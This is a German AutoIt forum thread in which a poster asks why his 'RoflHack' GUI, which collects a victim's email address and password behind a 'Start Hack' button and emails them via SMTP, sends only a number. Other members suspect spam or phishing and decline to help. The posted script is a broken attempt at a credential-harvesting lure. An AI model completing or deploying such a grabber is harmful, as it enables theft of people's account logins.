GUI sendet Nicht/Falsch an Empfänger

  • Hallo Autoit-Forum

    Ich komme heute zu euch weil ich am Verzweifeln bin unszwar ist das Problem, das der E-Mailsender den Falschen bzw. nicht gewollten Text schreibt.

    Ich möchte, das die Infos die man in die Input-Felder eintippt das die nach dem betätigen des Knopfes an die E-Mailaddresse gesendet wird aber das einzige Problem das bestht, ist das ich nicht den gewollten Text bekomme sondern eine Zahl -.-?!?

    Meine Frage ist nun ist das ein simpler Fehler von mir oder ist es nicht möglich das so zu machen wie ich will


    [autoit]

    ]#include <ButtonConstants.au3>
    #include <EditConstants.au3>
    #include <GUIConstantsEx.au3>
    #include <StaticConstants.au3>
    #include <WindowsConstants.au3>
    #Include<file.au3>

    [/autoit][autoit][/autoit][autoit]

    #Region ### START Koda GUI section ### Form=c:\users\hungry horst\desktop\rofl koda.kxf
    $Form1_1 = GUICreate("RoflHack", 278, 210, 192, 124)
    GUISetIcon("C:\Program Files\Rofl - Copy\Rofl.exe")
    $Label1 = GUICtrlCreateLabel("Benutzer Email Adresse :", 8, 8, 121, 17)
    $Label2 = GUICtrlCreateLabel("Passwort :", 8, 56, 53, 17)
    $Label3 = GUICtrlCreateLabel("Menge (max 1000) :", 8, 112, 127, 17)
    $Button1 = GUICtrlCreateButton("Start Hack", 8, 168, 97, 33, $WS_GROUP)
    GUICtrlCreateInput("Benutzer Email Adresse :", 8, 32, 161, 21)
    GUICtrlCreateInput("Passwort :", 8, 80, 161, 21)
    GUICtrlCreateInput(" Menge (max 1000) :", 8, 136, 161, 21)
    $Icon1 = GUICtrlCreateIcon("C:\Program Files\Rofl\Rofl.exe", -1, 208, 136, 48, 48, BitOR($SS_NOTIFY,$WS_GROUP))
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###
    $SmtpServer = "smtp.web.de"
    $FromName = "Peter"
    $FromAddress = ""
    $ToAddress = ""
    $Subject = "Rofl Hack"
    $Body = GUICtrlCreateInput("Benutzer Email Adresse :", 8, 32, 161, 21)
    GUICtrlCreateInput("Passwort :", 8, 80, 161, 21)
    GUICtrlCreateInput("Menge (max 1000) :", 8, 136, 161, 21)
    $AttachFiles = ""
    $CcAddress = ""
    $BccAddress = ""
    $Importance = "High"
    $Username = ""
    $Password = ""
    $IPPort = 25
    $ssl = 0

    [/autoit][autoit][/autoit][autoit]

    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Case $Button1
    $rc = _INetSmtpMailCom ($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)

    [/autoit][autoit][/autoit][autoit]

    Exit

    [/autoit][autoit][/autoit][autoit]

    EndSwitch
    WEnd
    Func _INetSmtpMailCom ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="High", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 1)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Cc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
    $objEmail.HTMLBody = GUICtrlCreateInput("Benutzer Email Adresse :", 8, 32, 161, 21)
    GUICtrlCreateInput("Passwort :", 8, 80, 161, 21)
    GUICtrlCreateInput(" Menge (max 1000) :", 8, 136, 161, 21)
    Else
    $objEmail.Textbody = GUICtrlCreateInput("Benutzer Email Adresse :", 8, 32, 161, 21)
    GUICtrlCreateInput("Passwort :", 8, 80, 161, 21)
    GUICtrlCreateInput(" Menge (max 1000) :", 8, 136, 161, 21)
    EndIf
    If $s_AttachFiles <> "" Then
    Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
    For $ex = 1 To $S_Files2Attach[0]
    $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
    If FileExists($S_Files2Attach[$x]) Then
    $objEmail.AddAttachment ($S_Files2Attach[$x])
    Else
    $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
    SetError(1)
    return 0
    EndIf
    Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    ;Authenticated SMTP
    If $s_Username <> "" Then
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Sent the Message
    $objEmail.Send
    if @error then
    SetError(2)
    return $oMyRet[1]
    EndIf
    EndFunc;==>_INetSmtpMailCom
    ;
    ;
    ; Com Error Handler
    Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description,3)
    ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
    EndFunc;==>MyErrFunc

    [/autoit]
  • Vielleicht solltest du dein Skript erstmal soweit abwandeln, dass es wenigstens startet?
    zumindest tut es eben das bei mir nicht.

    Leider ist in deinem Skript auch nicht ersichtlich wo/wann eine Zahl gesendet wird oder besser gesagt
    wo du die informationen aus der GUI in die Email übernimmst. ( Und ich hab es mindestens 3 mal durchgeschaut )

    https://autoit.de/index.php?page=Forumrules
    Auf die möchte ich dich auch hinweisen. Da ich mir (fast) sicher bin, dass es sich hierbei um einen Spammer handelt (handeln soll / wird / whatever )


    EDIT:

    Zitat

    Start Hack.. Rofl Hack ... :thumbdown:

    Microsoft WORD!

  • Ich bin kein spammer wiekommst du den da drauf??

    [autoit]

    If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
    $objEmail.HTMLBody = GUICtrlCreateInput("Benutzer Email Adresse :", 8, 32, 161, 21)
    GUICtrlCreateInput("Passwort :", 8, 80, 161, 21)
    GUICtrlCreateInput(" Menge (max 1000) :", 8, 136, 161, 21)
    Else
    $objEmail.Textbody = GUICtrlCreateInput("Benutzer Email Adresse :", 8, 32, 161, 21)
    GUICtrlCreateInput("Passwort :", 8, 80, 161, 21)
    GUICtrlCreateInput(" Menge (max 1000) :", 8, 136, 161, 21)
    EndIf

    [/autoit]


    habe es jetzt so versucht aber es schickt immernoch die zahl -.-
    und mit dem "Hack" es soll nie ein hackwerden ich will mich nur mit dem emails senden befassen und habe irgend einen müll als namen genommen

  • Ich weiss wo der Fehler liegt :D
    Aber ich sag ihn dir nicht, bevor du mir erklärt hast, was das Script machen soll :P
    Diese Inputbox "Menge (Max. 1000)" Macht das Script nämlich wirklich verdächtig.

    Zacharja

  • die max 1000 ist mir einfach so eingefallen beim gui machen weil ich testen will wie ich es hin kriege, das die sachen per email gesendet werden


    sry für mein schlechtes deutsch bin schon seid 6 uhr auf den beinen

  • einfach so eingefallen

    Was dir nich alles "einfach so einfällt"... Ich hab deinen Fehler übrigens auch schon gefunden. Hättest du dir mal ein intelligentes Skript überlegt bevor du dir so nen rotzigen spammer zusammenbastelst, hättest du auch genug Erfahrung um den Fehler selbst zu finden.

    PS wenn mir etwas "einfach so einfällt" sieht das so aus:

    [autoit]

    #include <GUIConstants.au3>

    [/autoit][autoit][/autoit][autoit]

    #region - GUI Create
    GUICreate('Test')
    $button = GUICtrlCreateButton("Miau",20,20)
    GUISetState()
    #endregion

    [/autoit][autoit][/autoit][autoit]

    #region - GUI SelectLoop
    While 1
    $msg = GUIGetMsg()
    Switch $msg
    Case $GUI_EVENT_CLOSE
    Exit
    Case $button
    MsgBox(0,"","Du bist voll der Miaukopf! >:O")
    MsgBox(0,"","Salatsoße :hammer:")
    EndSwitch
    WEnd
    #endregion

    [/autoit]

    EDIT: Ich glaub jetzt isser beledigt.